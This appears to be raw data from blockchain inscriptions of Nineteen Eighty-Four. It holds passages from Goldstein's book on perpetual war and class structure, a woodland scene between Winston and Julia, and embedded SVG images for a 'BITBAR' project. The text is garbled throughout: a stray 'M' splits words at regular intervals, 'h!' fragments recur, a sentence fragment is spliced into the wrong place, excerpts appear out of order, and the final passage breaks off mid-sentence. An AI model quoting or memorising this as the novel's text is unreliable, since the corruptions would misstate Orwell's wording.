his large well-appointed flat, the better texture of his clothes, the better quality of his food and drink and tobacco, his two or three servants, his private motorcar or helicopter
set him in a different world from a member of the Outer Party, and the members of the Outer Party have a similar advantage in comparison with the submerged masses whom we call "the proles." The soM
cial atmosphere is that of a besieged city, where the possession of a lump of horseflesh makes the difference between wealth and poverty. And at the same time the consciousness of being at war, and therefore in danger, makes the handing-over of all power to a small caste seem the natural, unavoidable condition of survival.
War, it will be seen, not only accomplishes the necessary destruction, but accomplishes it in a psychologically acceptable way. In principle it would be quite simple to waste the surplus labor oM
f the world by building temples and pyramids, by digging holes and filling them up again, or even by producing vast quantities of goods and then setting fire to them. But this would provide only the economic and not the emotional basis for a hierarchical society. What is concerned here is not the morale of the masses, whose attitude is unimportant so long as they are kept steadily at work, but the morale of the Party itself. Even the humblest Party member is expected to be competent, industrious, and even intelligeM
nt within narrow limits, but it is also necessary that he should be a credulous and ignorant fanatic whose prevailing moods are fear, hatred, adulation, and orgiastic triumph. In other words it is necessary that he should have the mentality appropriate to a state of war. It does not matter whether the war is actually happening, and, since no decisive victory is possible, it does not matter whether the war is going well or badly. All that is needed is that a state of war should exist. The splitting of the intelligenM
ce which the Party requires of its members, and which is more easily achieved in an atmosphere of war, is now almost universal, but the higher up the ranks one goes, the more marked it becomes. It is precisely in the Inner Party that war hysteria and hatred of the enemy are strongest. In his capacity as an administrator, it is often necessary for a member of the Inner Party to know that this or that item of war news is untruthful, and he may often be aware that the entire war is spurious and is either not happeningM
 or is being waged for purposes quite other than the declared ones; but such knowledge is easily neutralized by the technique of doublethink. Meanwhile no Inner Party member wavers for an instant in his mystical belief that the war is real, and that it is bound to end victoriously, with Oceania the undisputed master of the entire world.
All members of the Inner Party believe in this coming conquest as an article of faith. It is to be achieved either by gradually acquiring more and more territory and so building upM
 an overwhelming preponderance of power, or by the discovery of some new and unanswerable weapon. The search for new weapons continues unceasingly, and is one of the very few remaining activities in which the inventive or speculative type of mind can find any outlet. In Oceania at the present day, Science, in the old sense, has almost ceased to exist. In Newspeak there is no word for "Science." The empirical method of thought, on which all the scientific achievements of the past were founded, is opposed to the mostM
 fundamental principles of Ingsoc. And even technological progress only happens when its products can in some way be used for the diminution of human liberty. In all the useful arts the world is either standing still or going backwards. The fields are cultivated with horse plows while books are written by machinery. But in matters of vital importance
meaning, in effect, war and police espionage
the empirical approach is still encouraged, or at least tolerated. The two aims of the Party are to conquer the whole M
surface of the earth and to extinguish once and for all the possibility of independent thought. There are therefore two great problems which the Party is concerned to solve. One is how to discover, against his will, what another human being is thinking, and the other is how to kill several hundred million people in a few seconds without giving warning beforehand. In so far as scientific research still continues, this is its subject matter. The scientist of today is either a mixture of psychologist and inquisitor, sM
tudying with extraordinary minuteness the meaning of facial expressions, gestures, and tones of voice, and testing the truth-producing effects of drugs, shock therapy, hypnosis, and physical torture; or he is a chemist, physicist, or biologist concerned only with such branches of his special subject as are relevant to the taking of life. In the vast laboratories of the Ministry of Peace, and in the experimental stations hidden in the Brazilian forests, or in the Australian desert, or on lost islands of the AntarctiM
c, the teams of experts are indefatigably at work. Some are concerned simply with planning the logistics of future wars; others devise larger and larger rocket bombs, more and more powerful explosives, and more and more impenetrable armor-plating; others search for new and deadlier gases, or for soluble poisons capable of being produced in such quantities as to destroy the vegetation of whole continents, or for breeds of disease germs immunized against all possible antibodies; others strive to produce a vehicle thaM
t shall bore its way under the soil like a submarine under the water, or an airplane as independent of its base as a sailing ship; others explore even remoter possibilities such as focusing the sun's rays through lenses suspended thousands of kilometers away in space, or producing artificial earthquakes and tidal waves by tapping the heat at the earth's center.
But none of these projects ever comes anywhere near realization, and none of the three superstates ever gains a significant lead on the others. What is morM
e remarkable is that all three powers already possess, in the atomic bomb, a weapon far more powerful than any that their present researches are likely to discover. Although the Party, according to its habit, claims the invention for itself, atomic bombs first appeared as early as the Nineteen-forties, and were first used on a large scale about ten years later. At that time some hundreds of bombs were dropped on industrial centers, chiefly in European Russia, Western Europe, and North America. The effect was to conM
vince the ruling groups of all countries that a few more atomic bombs would mean the end of organized society, and hence of their own power. Thereafter, although no formal agreement was ever made or hinted at, no more bombs were dropped. All three powers merely continue to produce atomic bombs and store them up against the decisive opportunity which they all believe will come sooner or later. And meanwhile the art of war has remained almost stationary for thirty or forty years. Helicopters are more used than they wM
ere formerly, bombing planes have been largely superseded by self-propelled projectiles, and the fragile movable battleship has given way to the almost unsinkable Floating Fortress; but otherwise there has been little development. The tank, the submarine, the torpedo, the machine gun, even the rifle and the hand grenade are still in use. And in spite of the endless slaughters reported in the press and on the telescreens, the desperate battles of earlier wars, in which hundreds of thousands or even millions of men wM
ere often killed in a few weeks, have never been repeated.
None of the three superstates ever attempts any maneuver which involves the risk of serious defeat. When any large operation is undertaken, it is usually a surprise attack against an ally. The strategy that all three powers are following, or pretend to themselves that they are following, is the same. The plan is, by a combination of fighting, bargaining, and well-timed strokes of treachery, to acquire a ring of bases completely encircling one or other of tM
he rival states, and then to sign a pact of friendship with that rival and remain on peaceful terms for so many years as to lull suspicion to sleep. During this time rockets loaded with atomic bombs can be assembled at all the strategic spots; finally they will all be fired simultaneously, with effects so devastating as to make retaliation impossible. It will then be time to sign a pact of friendship with the remaining world power, in preparation for another attack. This scheme, it is hardly necessary to say, is a M
mere daydream, impossible of realization. Moreover, no fighting ever occurs except in the disputed areas round the Equator and the Pole; no invasion of enemy territory is ever undertaken. This explains the fact that in some places the frontiers between the superstates are arbitrary. Eurasia, for example, could easily conquer the British Isles, which are geographically part of Europe, or on the other hand it would be possible for Oceania to push its frontiers to the Rhine or even to the Vistula. But this would violaM
te the principle, followed on all sides though never formulated, of cultural integrity. If Oceania were to conquer the areas that used once to be known as France and Germany, it would be necessary either to exterminate the inhabitants, a task of great physical difficulty, or to assimilate a population of about a hundred million people, who, so far as technical development goes, are roughly on the Oceanic level. The problem is the same for all three superstates. It is absolutely necessary to their structure that theM
re should be no contact with foreigners except, to a limited extent, with war prisoners and colored slaves. Even the official ally of the moment is always regarded with the darkest suspicion. War prisoners apart, the average citizen of Oceania never sets eyes on a citizen of either Eurasia or Eastasia, and he is forbidden the knowledge of foreign languages. If he were allowed contact with foreigners he would discover that they are creatures similar to himself and that most of what he has been told about them is lieM
s. The sealed world in which he lives would be broken, and the fear, hatred, and self-righteousness on which his morale depends might evaporate. It is therefore realized on all sides that however often Persia, or Egypt, or Java, or Ceylon may change hands, the main frontiers must never be crossed by anything except bombs.
Under this lies a fact never mentioned aloud, but tacitly understood and acted upon: namely, that the conditions of life in all three superstates are very much the same. In Oceania the prevailingM
 philosophy is called Ingsoc, in Eurasia it is called Neo-Bolshevism, and in Eastasia it is called by a Chinese name usually translated as Death-worship, but perhaps better rendered as Obliteration of the Self. The citizen of Oceania is not allowed to know anything of the tenets of the other two philosophies, but he is taught to execrate them as barbarous outrages upon morality and common sense. Actually the three philosophies are barely distinguishable, and the social systems which they support are not distinguishM
able at all. Everywhere there is the same pyramidal structure, the same worship of a semi-divine leader, the same economy existing by and for continuous warfare. It follows that the three superstates not only cannot conquer one another, but would gain no advantage by doing so. On the contrary, so long as they remain in conflict they prop one another up, like three sheaves of corn. And, as usual, the ruling groups of all three powers are simultaneously aware and unaware of what they are doing. Their lives are dedicaM
ted to world conquest, but they also know that it is necessary that the war should continue everlastingly and without victory. Meanwhile the fact that there is no danger of conquest makes possible the denial of reality which is the special feature of Ingsoc and its rival systems of thought. Here it is necessary to repeat what has been said earlier, that by becoming continuous war has fundamentally changed its character.
In past ages, a war, almost by definition, was something that sooner or later came to an end, uM
sually in unmistakable victory or defeat. In the past, also, war was one of the main instruments by which human societies were kept in touch with physical reality. All rulers in all ages have tried to impose a false view of the world upon their followers, but they could not afford to encourage any illusion that tended to impair military efficiency. So long as defeat meant the loss of independence, or some other result generally held to be undesirable, the precautions against defeat had to be serious. Physical factsM
 could not be ignored. In philosophy, or religion, or ethics, or politics, two and two might make five, but when one was designing a gun or an airplane they had to make four. Inefficient nations were always conquered sooner or later, and the struggle for efficiency was inimical to illusions. Moreover, to be efficient it was necessary to be able to learn from the past, which meant having a fairly accurate idea of what had happened in the past. Newspapers and history books were, of course, always colored and biased, M
but falsification of the kind that is practiced today would have been impossible. War was a sure safeguard of sanity, and so far as the ruling classes were concerned it was probably the most important of all safeguards. While wars could be won or lost, no ruling class could be completely irresponsible.
But when war becomes literally continuous, it also ceases to be dangerous. When war is continuous there is no such thing as military necessity. Technical progress can cease and the most palpable facts can be denied M
or disregarded. As we have seen, researches that could be called scientific are still carried out for the purposes of war, but they are essentially a kind of daydreaming, and their failure to show results is not important. Efficiency, even military efficiency, is no longer needed. Nothing is efficient in Oceania except the Thought Police. Since each of the three superstates is unconquerable, each is in effect a separate universe within which almost any perversion of thought can be safely practiced. Reality only exeM
rts its pressure through the needs of everyday life
the need to eat and drink, to get shelter and clothing, to avoid swallowing poison or stepping out of top-story windows, and the like. Between life and death, and between physical pleasure and physical pain, there is still a distinction, but that is all. Cut off from contact with the outer world, and with the past, the citizen of Oceania is like a man in interstellar space, who has no way of knowing which direction is up and which is down. The rulers of such a sM
tate are absolute, as the Pharaohs or the Caesars could not be. They are obliged to prevent their followers from starving to death in numbers large enough to be inconvenient, and they are obliged to remain at the same low level of military technique as their rivals; but once that minimum is achieved, they can twist reality into whatever shape they choose.
The war, therefore, if we judge it by the standards of previous wars, is merely an imposture. It is like the battles between certain ruminant animals whose hornsM
 are set at such an angle that they are incapable of hurting one another. But though it is unreal it is not meaningless. It eats up the surplus of consumable goods, and it helps to preserve the special mental atmosphere that a hierarchical society needs. War, it will be seen, is now a purely internal affair. In the past, the ruling groups of all countries, although they might recognize their common interest and therefore limit the destructiveness of war, did fight against one another, and the victor always plundereM
d the vanquished. In our own day they are not fighting against one another at all. The war is waged by each ruling group against its own subjects, and the object of the war is not to make or prevent conquests of territory, but to keep the structure of society intact. The very word "war," therefore, has become misleading. It would probably be accurate to say that by becoming continuous war has ceased to exist. The peculiar pressure that it exerted on human beings between the Neolithic Age and the early twentieth cenM
tury has disappeared and been replaced by something quite different. The effect would be much the same if the three superstates, instead of fighting one another, should agree to live in perpetual peace, each inviolate within its own boundaries. For in that case each would still be a self-contained universe, freed forever from the sobering influence of external danger. A peace that was truly permanent would be the same as a permanent war. This
although the vast majority of Party members understand it only in a shaM
is the inner meaning of the Party slogan: WAR IS PEACE.
Winston stopped reading for a moment. Somewhere in remote distance a rocket bomb thundered. The blissful feeling of being alone with the forbidden book, in a room with no telescreen, had not worn off. Solitude and safety were physical sensations, mixed up somehow with the tiredness of his body, the softness of the chair, the touch of the faint breeze from the window that played upon his cheek. The book fascinated him, or more exactly it reassurM
ed him. In a sense it told him nothing that was new, but that was part of the attraction. It said what he would have said, if it had been possible for him to set his scattered thoughts in order. It was the product of a mind similar to his own, but enormously more powerful, more systematic, less fear-ridden. The best books, he perceived, are those that tell you what you know already. He had just turned back to Chapter 1 when he heard Julia's footstep on the stair and started out of his chair to meet her. She dumped M
her brown tool bag on the floor and flung herself into his arms. It was more than a week since they had seen one another.
"I've got the book," he said as they disentangled themselves.
"Oh, you've got it? Good," she said without much interest, and almost immediately knelt down beside the oilstove to make the coffee.
They did not return to the subject until they had been in bed for half an hour. The evening was just cool enough to make it worth while to pull up the counterpane. From below came the familiar sound oM
f singing and the scrape of boots on the flagstones. The brawny red-armed woman whom Winston had seen there on his first visit was almost a fixture in the yard. There seemed to be no hour of daylight when she was not marching to and fro between the washtub and the line, alternately gagging herself with clothes pegs and breaking forth into lusty song. Julia had settled down on her side and seemed to be already on the point of falling asleep. He reached out for the book, which was lying on the floor, and sat up againM
"We must read it," he said. "You too. All members of the Brotherhood have to read it."
"You read it," she said with her eyes shut. "Read it aloud. That's the best way. Then you can explain it to me as you go."
The clock's hands said six, meaning eighteen. They had three or four hours ahead of them. He propped the book against his knees and began reading:
IGNORANCE IS STRENGTH.
Throughout recorded time, and probably since the end of the Neolithic Age, there have been three kinds of pM
eople in the world, the High, the Middle, and the Low. They have been subdivided in many ways, they have borne countless different names, and their relative numbers, as well as their attitude toward one another, have varied from age to age; but the essential structure of society has never altered. Even after enormous upheavals and seemingly irrevocable changes, the same pattern has always reasserted itself, just as a gyroscope will always return to equilibrium, however far it is pushed one way or the other.
, are you awake?" said Winston.
"Yes, my love, I'm listening. Go on. It's marvelous."
He continued reading:
The aims of these three groups are entirely irreconcilable. The aim of the High is to remain where they are. The aim of the Middle is to change places with the High. The aim of the Low, when they have an aim
for it is an abiding characteristic of the Low that they are too much crushed by drudgery to be more than intermittently conscious of anything outside their daily lives
is to abolish all distinctioM
ns and create a society in which all men shall be equal. Thus throughout history a struggle which is the same in its main outlines recurs over and over again. For long periods the High seem to be securely in power, but sooner or later there always comes a moment when they lose either their belief in themselves, or their capacity to govern efficiently, or both. They are then overthrown by the Middle, who enlist the Low on their side by pretending to them that they are fighting for liberty and justice. As soon as theM
y have reached their objective, the Middle thrust the Low back into their old position of servitude, and themselves become the High. Presently a new Middle group splits off from one of the other groups, or from both of them, and the struggle begins over again. Of the three groups, only the Low are never even temporarily successful in achieving their aims. It would be an exaggeration to say that throughout history there has been no progress of a material kind. Even today, in a period of decline, the average human beM
ing is physically better off than he was a few centuries ago. But no advance in wealth, no softening of manners, no reform or revolution has ever brought human equality a millimeter nearer. From the point of view of the Low, no historic change has ever meant much more than a change in the name of their masters.
By the late nineteenth century the recurrence of this pattern had become obvious to many observers. There then arose schools of thinkers who interpreted history as a cyclical process and claimed to show thaM
t inequality was the unalterable law of human life. This doctrine, of course, had always had its adherents, but in the manner in which it was now put forward there was a significant change. In the past the need for a hierarchical form of society had been the doctrine specifically of the High. It had been preached by kings and aristocrats and by the priests, lawyers, and the like who were parasitical upon them, and it had generally been softened by promises of compensation in an imaginary world beyond the grave. TheM
 Middle, so long as it was struggling for power, had always made use of such terms as freedom, justice, and fraternity. Now, however, the concept of human brotherhood began to be assailed by people who were not yet in positions of command, but merely hoped to be so before long. In the past the Middle had made revolutions under the banner of equality, and then had established a fresh tyranny as soon as the old one was overthrown. The new Middle groups in effect proclaimed their tyranny beforehand. Socialism, a theorM
y which appeared in the early nineteenth century and was the last link in a chain of thought stretching back to the slave rebellions of antiquity, was still deeply infected by the Utopianism of past ages. But in each variant of Socialism that appeared from about 1900 onwards the aim of establishing liberty and equality was more and more openly abandoned. The new movements which appeared in the middle years of the century, Ingsoc in Oceania, Neo-Bolshevism in Eurasia, Death-worship, as it is commonly called, in EastM
asia, had the conscious aim of perpetuating unfreedom and inequality. These new movements, of course, grew out of the old ones and tended to keep their names and pay lip-service to their ideology. But the purpose of all of them was to arrest progress and freeze history at a chosen moment. The familiar pendulum swing was to happen once more, and then stop. As usual, the High were to be turned out by the Middle, who would then become the High; but this time, by conscious strategy, the High would be able to maintain tM
heir position permanently.
The new doctrines arose partly because of the accumulation of historical knowledge, and the growth of the historical sense, which had hardly existed before the nineteenth century. The cyclical movement of history was now intelligible, or appeared to be so; and if it was intelligible, then it was alterable. But the principal, underlying cause was that, as early as the beginning of the twentieth century, human equality had become technically possible. It was still true that men were not eqM
ual in their native talents and that functions had to be specialized in ways that favored some individuals against others; but there was no longer any real need for class distinctions or for large differences of wealth. In earlier ages, class distinctions had been not only inevitable but desirable. Inequality was the price of civilization. With the development of machine production, however, the case was altered. Even if it was still necessary for human beings to do different kinds of work, it was no longer necessaM
ry for them to live at different social or economic levels. Therefore, from the point of view of the new groups who were on the point of seizing power, human equality was no longer an ideal to be striven after, but a danger to be averted. In more primitive ages, when a just and peaceful society was in fact not possible, it had been fairly easy to believe in it. The idea of an earthly paradise in which men should live together in a state of brotherhood, without laws and without brute labor, had haunted the human imaM
gination for thousands of years. And this vision had had a certain hold even on the groups who actually profited by each historic change. The heirs of the French, English, and American revolutions had partly believed in their own phrases about the rights of man, freedom of speech, equality before the law, and the like, and had even allowed their conduct to be influenced by them to some extent. But by the fourth decade of the twentieth century all the main currents of political thought were authoritarian. The earthlM
y paradise had been discredited at exactly the moment when it became realizable. Every new political theory, by whatever name it called itself, led back to hierarchy and regimentation. And in the general hardening of outlook that set in round about 1930, practices which had been long abandoned, in some cases for hundreds of years
imprisonment without trial, the use of war prisoners as slaves, public executions, torture to extract confessions, the use of hostages and the deportation of whole populations
 became common again, but were tolerated and even defended by people who considered themselves enlightened and progressive.
It was only after a decade of national wars, civil wars, revolutions and counterrevolutions in all parts of the world that Ingsoc and its rivals emerged as fully worked-out political theories. But they had been foreshadowed by the various systems, generally called totalitarian, which had appeared earlier in the century, and the main outlines of the world which would emerge from the prevailingM
 chaos had long been obvious. What kind of people would control this world had been equally obvious. The new aristocracy was made up for the most part of bureaucrats, scientists, technicians, trade-union organizers, publicity experts, sociologists, teachers, journalists, and professional politicians. These people, whose origins lay in the salaried middle class and the upper grades of the working class, had been shaped and brought together by the barren world of monopoly industry and centralized government. As compaM
red with their opposite numbers in past ages, they were less avaricious, less tempted by luxury, hungrier for pure power, and, above all, more conscious of what they were doing and more intent on crushing opposition. This last difference was cardinal. By comparison with that existing today, all the tyrannies of the past were half-hearted and inefficient. The ruling groups were always infected to some extent by liberal ideas, and were content to leave loose ends everywhere, to regard only the overt act, and to be unM
interested in what their subjects were thinking. Even the Catholic Church of the Middle Ages was tolerant by modern standards. Part of the reason for this was that in the past no government had the power to keep its citizens under constant surveillance. The invention of print, however, made it easier to manipulate public opinion, and the film and the radio carried the process further. With the development of television, and the technical advance which made it possible to receive and transmit simultaneously on the sM
ame instrument, private life came to an end. Every citizen, or at least every citizen important enough to be worth watching, could be kept for twenty-four hours a day under the eyes of the police and in the sound of official propaganda, with all other channels of communication closed. The possibility of enforcing not only complete obedience to the will of the State, but complete uniformity of opinion on all subjects, now existed for the first time.
After the revolutionary period of the Fifties and Sixties, societyM
 regrouped itself, as always, into High, Middle, and Low. But the new High group, unlike all its forerunners, did not act upon instinct but knew what was needed to safeguard its position. It had long been realized that the only secure basis for oligarchy is collectivism. Wealth and privilege are most easily defended when they are possessed jointly. The so-called "abolition of private property" which took place in the middle years of the century meant, in effect, the concentration of property in far fewer hands thanM
 before; but with this difference, that the new owners were a group instead of a mass of individuals. Individually, no member of the Party owns anything, except petty personal belongings. Collectively, the Party owns everything in Oceania, because it controls everything and disposes of the products as it thinks fit. In the years following the Revolution it was able to step into this commanding position almost unopposed, because the whole process was represented as an act of collectivization. It had always been assuM
med that if the capitalist class were expropriated, Socialism must follow; and unquestionably the capitalists had been expropriated. Factories, mines, land, houses, transport
everything had been taken away from them; and since these things were no longer private property, it followed that they must be public property. Ingsoc, which grew out of the earlier Socialist movement and inherited its phraseology, has in fact carried out the main item in the Socialist program, with the result, foreseen and intended beforehM
and, that economic inequality has been made permanent.
But the problems of perpetuating a hierarchical society go deeper than this. There are only four ways in which a ruling group can fall from power. Either it is conquered from without, or it governs so inefficiently that the masses are stirred to revolt, or it allows a strong and discontented Middle Group to come into being, or it loses its own self-confidence and willingness to govern. These causes do not operate singly, and as a rule all four of them are presM
ent in some degree. A ruling class which could guard against all of them would remain in power permanently. Ultimately the determining factor is the mental attitude of the ruling class itself.
After the middle of the present century, the first danger had in reality disappeared. Each of the three powers which now divide the world is in fact unconquerable, and could only become conquerable through slow demographic changes which a government with wide powers can easily avert. The second danger, also, is only a theoreM
tical one. The masses never revolt of their own accord, and they never revolt merely because they are oppressed. Indeed, so long as they are not permitted to have standards of comparison, they never even become aware that they are oppressed. The recurrent economic crises of past times were totally unnecessary and are not now permitted to happen, but other and equally large dislocations can and do happen without having political results, because there is no way in which discontent can become articulate. As for the pM
roblem of overproduction, which has been latent in our society since the development of machine technique, it is solved by the device of continuous warfare (see Chapter 3), which is also useful in keying up public morale to the necessary pitch. From the point of view of our present rulers, therefore, the only genuine dangers are the splitting-off of a new group of able, underemployed, power-hungry people, and the growth of liberalism and skepticism in their own ranks. The problem, that is to say, is educational. ItM
 is a problem of continuously molding the consciousness both of the directing group and of the larger executive group that lies immediately below it. The consciousness of the masses needs only to be influenced in a negative way.
Given this background, one could infer, if one did not know it already, the general structure of Oceanic society. At the apex of the pyramid comes Big Brother. Big Brother is infallible and all-powerful. Every success, every achievement, every victory, every scientific discovery, all knowlM
edge, all wisdom, all happiness, all virtue, are held to issue directly from his leadership and inspiration. Nobody has ever seen Big Brother. He is a face on the hoardings, a voice on the telescreen. We may be reasonably sure that he will never die, and there is already considerable uncertainty as to when he was born. Big Brother is the guise in which the Party chooses to exhibit itself to the world. His function is to act as a focusing point for love, fear, and reverence, emotions which are more easily felt towarM
d an individual than toward an organization. Below Big Brother comes the Inner Party, its numbers limited to six millions, or something less than two per cent of the population of Oceania. Below the Inner Party comes the Outer Party, which, if the Inner Party is described as the brain of the State, may be justly likened to the hands. Below that come the dumb masses whom we habitually refer to as "the proles," numbering perhaps eighty-five per cent of the population. In the terms of our earlier classification, the pM
roles are the Low, for the slave populations of the equatorial lands, who pass constantly from conqueror to conqueror, are not a permanent or necessary part of the structure.
In principle, membership in these three groups is not hereditary. The child of Inner Party parents is in theory not born into the Inner Party. Admission to either branch of the Party is by examination, taken at the age of sixteen. Nor is there any racial discrimination, or any marked domination of one province by another. Jews, Negroes, SouthM
 Americans of pure Indian blood are to be found in the highest ranks of the Party, and the administrators of any area are always drawn from the inhabitants of that area. In no part of Oceania do the inhabitants have the feeling that they are a colonial population ruled from a distant capital. Oceania has no capital, and its titular head is a person whose whereabouts nobody knows. Except that English is its chief lingua franca and Newspeak its official language, it is not centralized in any way. Its rulers are not hME
eld together by blood ties but by adherence to a common doctrine. It is true that our society is stratified, and very rigidly stratified, on what at first sight appear to be hereditary lines. There is far less to-and-fro movement between the different groups than happened under capitalism or even in the pre-industrial ages.h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
"It's this bloody thing that does it," she said, ripping off the scarlet sash of the Junior Anti-Sex League and flinging it onto a bough. Then, as though touching her waist had reminded her of something, she felt in the pocket of her overalls and produced a small slab M
of chocolate. She broke it in half and gave one of the pieces to Winston. Even before he had taken it he knew by the smell that it was very unusual chocolate. It was dark and shiny, and was wrapped in silver paper. Chocolate normally was dull-brown crumbly stuff that tasted, as nearly as one could describe it, like the smoke of a rubbish fire. But at some time or another he had tasted chocolate like the piece she had given him. The first whiff of its scent had stirred up some memory which he could not pin down, butM
 which was powerful and troubling.
"Where did you get this stuff?" he said.
"Black market," she said indifferently. "Actually I am that sort of girl, to look at. I'm good at games. I was a troop leader in the Spies. I do voluntary work three evenings a week for the Junior Anti-Sex League. Hours and hours I've spent pasting their bloody rot all over London. I always carry one end of a banner in the processions. I always look cheerful and I never shirk anything. Always yell with the crowd, that's what I say. It's tM
he only way to be safe."
The first fragment of chocolate had melted on Winston's tongue. The taste was delightful. But there was still that memory moving round the edges of his consciousness, something strongly felt but not reducible to definite shape, like an object seen out of the corner of one's eye. He pushed it away from him, aware only that it was the memory of some action which he would have liked to undo but could not.
"You are very young," he said. "You are ten or fifteen years younger than I am. What coM
uld you see to attract you in a man like me?"
"It was something in your face. I thought I'd take a chance. I'm good at spotting people who don't belong. As soon as I saw you I knew you were against them."
Them, it appeared, meant the Party, and above all the Inner Party, about whom she talked with an open jeering hatred which made Winston feel uneasy, although he knew that they were safe here if they could be safe anywhere. A thing that astonished him about her was the coarseness of her language. Party members weM
re supposed not to swear, and Winston himself very seldom did swear, aloud, at any rate. Julia, however, seemed unable to mention the Party, and especially the Inner Party, without using the kind of words that you saw chalked up in dripping alleyways. He did not dislike it. It was merely one symptom of her revolt against the Party and all its ways, and somehow it seemed natural and healthy, like the sneeze of a horse that smells bad hay. They had left the clearing and were wandering again through the checkered shadM
e, with their arms round each other's waists whenever it was wide enough to walk two abreast. He noticed how much softer her waist seemed to feel now that the sash was gone. They did not speak above a whisper. Outside the clearing, Julia said, it was better to go quietly. Presently they had reached the edge of the little wood. She stopped him.
"Don't go out into the open. There might be someone watching. We're all right if we keep behind the boughs."
They were standing in the shade of hazel bushes. The sunlight, M
filtering through innumerable leaves, was still hot on their faces. Winston looked out into the field beyond, and underwent a curious, slow shock of recognition. He knew it by sight. An old, close-bitten pasture, with a foot-path wandering across it and a molehill here and there. In the ragged hedge on the opposite side the boughs of the elm trees swayed just perceptibly in the breeze, and their leaves stirred faintly in dense masses like women's hair. Surely somewhere near by, but out of sight, there must be a strM
eam with green pools where dace were swimming.
"Isn't there a stream somewhere near here?" he whispered.
"That's right, there is a stream. It's at the edge of the next field, actually. There are fish in it, great big ones. You can watch them lying in the pools under the willow trees, waving their tails."
"It's the Golden Country
almost," he murmured.
"The Golden Country?"
"It's nothing, really. A landscape I've seen sometimes in a dream."
"Look!" whispered Julia.
A thrush had alighted on a bough not five mM
eters away, almost at the level of their faces. Perhaps it had not seen them. It was in the sun, they in the shade. It spread out its wings, fitted them carefully into place again, ducked its head for a moment, as though making a sort of obeisance to the sun, and then began to pour forth a torrent of song. In the afternoon hush the volume of sound was startling. Winston and Julia clung together, fascinated. The music went on and on, minute after minute, with astonishing variations, never once repeating itself, almoM
st as though the bird were deliberately showing off its virtuosity. Sometimes it stopped for a few seconds, spread out and resettled its wings, then swelled its speckled breast and again burst into song. Winston watched it with a sort of vague reverence. For whom, for what, was that bird singing? No mate, no rival was watching it. What made it sit at the edge of the lonely wood and pour its music into nothingness? He wondered whether after all there was a microphone hidden somewhere near. He and Julia had only spokM
en in low whispers, and it would not pick up what they had said, but it would pick up the thrush. Perhaps at the other end of the instrument some small, beetlelike man was listening intently
listening to that. But by degrees the flood of music drove all speculations out of his mind. It was as though it were a kind of liquid stuff that poured all over him and got mixed up with the sunlight that filtered through the leaves. He stopped thinking and merely felt. The girl's waist in the bend of his arm was soft and waM
rm. He pulled her round so that they were breast to breast; her body seemed to melt into his. Wherever his hands moved it was all as yielding as water. Their mouths clung together; it was quite different from the hard kisses they had exchanged earlier. When they moved their faces apart again both of them sighed deeply. The bird took fright and fled with a clatter of wings.
Winston put his lips against her ear. "Now," he whispered.
"Not here," she whispered back. "Come back to the hide-out. It's safer."
with an occasional crackle of twigs, they threaded their way back to the clearing. When they were once inside the ring of saplings she turned and faced him. They were both breathing fast, but the smile had reappeared round the corners of her mouth. She stood looking at him for an instant, then felt at the zipper of her overalls. And, yes! It was almost as in his dream. Almost as swiftly as he had imagined it, she had torn her clothes off, and when she flung them aside it was with that same magnificent gesture by whM
ich a whole civilization seemed to be annihilated. Her body gleamed white in the sun. But for a moment he did not look at her body; his eyes were anchored by the freckled face with its faint, bold smile. He knelt down before her and took her hands in his.
"Have you done this before?"
"Of course. Hundreds of times
well, scores of times, anyway."
"With Party members?"
"Yes, always with Party members."
"With members of the Inner Party?"
"Not with those swine, no. But there's plenty that would if they got half M
a chance. They're not so holy as they make out."
His heart leapt. Scores of times she had done it; he wished it had been hundreds
thousands. Anything that hinted at corruption always filled him with a wild hope. Who knew? Perhaps the Party was rotten under the surface, its cult of strenuousness and self-denial simply a sham concealing iniquity. If he could have infected the whole lot of them with leprosy or syphilis, how gladly he would have done so! Anything to rot, to weaken, to undermine! He pulled her down sM
